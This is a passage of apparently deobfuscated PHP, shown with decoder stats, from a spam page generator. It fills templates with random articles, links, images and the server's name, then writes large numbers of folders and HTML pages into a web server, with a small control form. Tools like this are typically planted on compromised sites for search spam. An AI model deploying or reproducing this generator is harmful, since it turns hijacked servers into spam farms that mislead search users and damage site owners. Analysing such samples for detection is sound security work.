$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',getOneRandomArray($l18),$q24);}}if(strstr($q24,'$1$')){$m26=substr_count($q24,'$1$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$1\$/',$l18[$a42],$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',suijiNum(4),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',date("Y-m-d h:i:s",time()),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',date("Y-m-d",time()),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',mt_rand(0,100000),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',getOneRandomArray($q20),$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',"<img src='".getOneRandomArray($f19)."'/>",$q24,1);}}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$g29=getOneRandomArray($g21);$g29=explode("#",$g29);$q24=preg_replace('/\$\$/',"<a id='hVut' href='/".$g29[0]."' target=_blank>".$g29[1]."</a>",$q24,1);}}$n30=count($g21);$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$p31=$n30-$a42;$g6=explode("#",$g21[$p31]);$q24=preg_replace('/\$\$/',$g6[1],$q24,1);}$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$p31=$n30-$a42;$g6=explode("#",$g21[$p31]);$q24=preg_replace('/\$\$/',$g6[0],$q24,1);}if(strstr($q24,'$-')){preg_match_all('/\$-(\d)+\$/si',$q24,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$g21[$p31]);$q24=str_replace($t32[0][$a33],$g6[1],$q24);}}if(strstr($q24,'$-')){preg_match_all('/\$-(\d)+\$/si',$q24,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$g21[$p31]);$q24=str_replace($t32[0][$a33],$g6[0],$q24);}}$m35=$_GET["filenameType"];if($m35==3){$g21=$k41."/".genRandomString().$g13;}else{$g21=$k41."/".mt_rand(10000,99999999).$g13;}if(strstr($q24,'$$')){$m26=substr_count($q24,'$$');for($a42=1;$a42<=$m26;$a42++){$q24=preg_replace('/\$\$/',$g21,$q24,1);}}file_put_contents($g21,$q24);$i36=date('Y-m-d H:i:s');$o37="$i36 =>   <strong>$g21</strong> ||| $i15 <br>\n";echo $o37;file_put_contents("createFolderFileLog.txt",$o37,FILE_APPEND);}}echo "<span style='font-weight:bold;color:green;'></span>";}if($_GET['gengxin']=='1'){sleep(3);$v27=duqu($s5."/mulu.txt");$h0=count($v27);for($k43=0;$k43<$h0;$k43++){$f23=$s5."/list.txt";$j44=file_get_contents($f23);$g21=duqu($s5."/url.txt");$r45=count($g21);$o46=$v27[$k43];$f47=array(" ","","\t","\n","\r");$a48=array("","","","","");$o46=str_replace($f47,$a48,$o46);for($g49=0;$g49<$r45;$g49++){$g6=explode("/",$g21[$g49]);if($g6[0]==$o46){$a50[]=$g21[$g49];}}$j51=0;$m26=substr_count($j44,'$$')+substr_count($j44,'$-');$n30=count($a50);$j51=ceil($n30/$m26);for($p52=0;$p52<$j51;$p52++){$f23=$s5."/list.txt";$w53=file_get_contents($f23);$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$a50[$p31]);$w53=preg_replace('/\$\$/',$g6[1],$w53,1);}$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$a50[$p31]);$w53=preg_replace('/\$\$/',$g6[0],$w53,1);}if(strstr($w53,'$-')){preg_match_all('/\$-(\d)+\$/si',$w53,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$a50[$p31]);$w53=str_replace($t32[0][$a33],$g6[1],$w53);}}if(strstr($w53,'$-')){preg_match_all('/\$-(\d)+\$/si',$w53,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$a50[$p31]);$w53=str_replace($t32[0][$a33],$g6[0],$w53);}}$t54=duqu($s5."/wenzhang.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=0;$r2<$m26;$r2++){$w53=preg_replace('/\$\$/',getOneRandomArray($t54),$w53,1);}}$v25=duqu($s5."/muluming.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=0;$r2<$m26;$r2++){$w53=preg_replace('/\$\$/',$v25[$k43],$w53);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=0;$r2<$m26;$r2++){$w53=preg_replace('/\$\$/',"/".$v27[$k43]."/",$w53);}}$q20=duqu($s5."/link.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',getOneRandomArray($q20),$w53,1);}}$f19=duqu($s5."/img.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',getOneRandomArray($f19),$w53,1);}}$b22=duqu($s5."/mulu.txt");if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',getOneRandomArray($b22),$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',$_SERVER['SERVER_NAME'],$w53);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$k55=getOneRandomArray($g21);$g29=explode("#",$k55);$w53=preg_replace('/\$\$/',"<a id='hVut' href='/".$g29[0]."' target=_blank>".$g29[1]."</a>",$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',suijiNum(4),$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',date("Y-m-d h:i:s",time()),$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',date("Y-m-d",time()),$w53,1);}}if(strstr($w53,'$$')){$m26=substr_count($w53,'$$');for($r2=1;$r2<=$m26;$r2++){$w53=preg_replace('/\$\$/',mt_rand(0,100000),$w53,1);}}if(strstr($w53,'$$')){$v56=ceil($n30/$m26);if($v56>5){$v56=5;}else{$v56=$j51;}for($r2=0;$r2<$v56;$r2++){if($r2==0){$b57="<a href=/$o46/index$g13></a>&nbsp;&nbsp;&nbsp;";}else{$b57.="<a href=/$o46/index_$r2$g13>$r2</a>&nbsp;&nbsp;&nbsp;";}}$w53=preg_replace('/\$\$/',$b57,$w53,1);}if($p52==0){$i58=$o46."/index$g13";}else if($p52<=5){$i58=$o46."/index_".$p52.$g13;}else{$i58="";}if(!empty($o46)){if(!file_exists($o46)){mkdir($o46,0755,true);}if(!empty($i58)){$b59=fopen($i58,"w");fwrite($b59,$w53);fclose($b59);}}}}echo "";echo "<meta http-equiv=refresh content='3; url=".$_SERVER['PHP_SELF']."?gengxin=2'>";}if($_GET['gengxin']=='2'){$s60=$s5."/index.txt";$s60=file_get_contents($s60);$v27=duqu($s5."/mulu.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=0;$r2<$m26;$r2++){$f47=array(" ","","\t","\n","\r");$a48=array("","","","","");$o46=str_replace($f47,$a48,$v27[$r2]);$s60=preg_replace('/\$\$/',"/".$o46."/",$s60,1);}}$v25=duqu($s5."/muluming.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=0;$r2<$m26;$r2++){$s60=preg_replace('/\$\$/',$v25[$k43],$s60);}}$t54=duqu($s5."/wenzhang.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=0;$r2<$m26;$r2++){$s60=preg_replace('/\$\$/',getOneRandomArray($t54),$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',suijiNum(4),$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',$_SERVER['SERVER_NAME'],$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',date("Y-m-d h:i:s",time()),$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',date("Y-m-d",time()),$s60,1);}}$f19=duqu($s5."/img.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',"<img src='".getOneRandomArray($f19)."'/>",$s60,1);}}if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',mt_rand(0,100000),$s60,1);}}$k61=duqu($s5."/url.txt");$n30=count($k61);$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$k61[$p31]);$s60=preg_replace('/\$\$/',$g6[1],$s60,1);}$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$p31=$n30-$r2;$g6=explode("#",$k61[$p31]);$s60=preg_replace('/\$\$/',$g6[0],$s60,1);}if(strstr($s60,'$-')){preg_match_all('/\$-(\d)+\$/si',$s60,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$k61[$p31]);$s60=str_replace($t32[0][$a33],$g6[1],$s60);}}if(strstr($s60,'$-')){preg_match_all('/\$-(\d)+\$/si',$s60,$t32);$m26=count($t32[1]);foreach($t32[1]as $a33=>$o34){$p31=$n30-$o34;$g6=explode("#",$k61[$p31]);$s60=str_replace($t32[0][$a33],$g6[0],$s60);}}$q20=duqu($s5."/link.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',getOneRandomArray($q20),$s60,1);}}$b22=duqu($s5."/mulu.txt");if(strstr($s60,'$$')){$m26=substr_count($s60,'$$');for($r2=1;$r2<=$m26;$r2++){$s60=preg_replace('/\$\$/',getOneRandomArray($b22),$s60,1);}}$i58="index$g13";$b59=fopen($i58,"w");fwrite($b59,$s60);fclose($b59);echo "";}}else{?>

<html>
<head>
<meta charset="utf-8" />
<title></title>
<style>
    body {
        font-family: Arial, sans-serif;
        background-color: #f0f0f0;
        margin: 0;
        padding: 0;
    }
    form {
        width: 50%;
        margin: 50px auto;
        padding: 20px;
        background-color: #fff;
        border-radius: 10px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    }
    input[type="radio"], input[type="submit"] {
        margin: 5px 0;
    }
    input[type="text"], input[type="number"] {
        padding: 10px;
        border: 1px solid #ccc;
        border-radius: 5px;
    }
    input[type="submit"] {
        background-color: #007bff;
        color: #fff;
        border: none;
        border-radius: 5px;
        padding: 10px 20px;
        cursor: pointer;
    }
    .deleteButton {
        background-color: #A34343;
        color: #fff;
        border: none;
        border-radius: 5px;
        padding: 10px 20px;
        cursor: pointer;
    }
</style>
</head>
<body>
    <form id="form1" name="form1" method="get" action="">
        
        <input type="radio" name="mulu" value="1" checked="checked" /> 
        <input type="radio" name="mulu" value="2" /> <br><br>
        <div id="customWjj">
            <span></span>
            <input type="text" id="muluname" name="muluname" placeholder=" news">
        </div>
        <br>
        <div id="muluNum" style="display:none;">
            <input type="number" name="mulushu" id="mulushu" value="0" size="10" placeholder=""/><br><br>
            
            <input type="radio" name="folderType" value="2" checked="checked" />
            <input type="radio" name="folderType" value="3" /><br><br>
        </div>
        <input type="number" name="wenzhang" id="wenzhang" value="30" size="10" placeholder=""/><br><br>
        
        <input type="radio" name="filenameType" value="2" checked="checked" />
        <input type="radio" name="filenameType" value="3" /><br><br>
        
        <input type="radio" name="houzhui" value="1" checked="checked" />html
        <input type="radio" name="houzhui" value="2" />shtml <br><br>
        <input type="submit" name="button" id="button" value="" />
        <a href="/delete.php" class="deleteButton" onclick="return confirm('?')"></a>
    </form>
<script>
    var mulu = document.getElementsByName('mulu');
    var customWjj = document.getElementById('customWjj');
    var muluNum = document.getElementById('muluNum');
    var mulushu = document.getElementById('mulushu');
    
    mulu.forEach(function(radioButton){
        radioButton.addEventListener('click', function(){
            if (this.value == '2'){
                customWjj.style.display = 'none';
                muluNum.style.display = 'block';
                mulushu.value = "5";
            } else {
                customWjj.style.display = 'block';
                muluNum.style.display = 'none';
                mulushu.value = "0";
            }
        });
    });
    
    const form = document.getElementById('form1');

    form.addEventListener('submit', function(event) {
        event.preventDefault(); 
        var muluChecked = document.querySelector('input[name="mulu"]:checked').value;
        var muluname = document.getElementById('muluname').value;
    
        if (muluChecked == '1' && muluname == '') {
            alert("");
            return false;
        }
        form.submit();
    });
</script>
</body>
</html>
<? }?>

Function Calls

None

Variables

None

Stats

MD5 850a67ad048bacbc26da43f09fd2270e
Eval Count 0
Decode Time 411 ms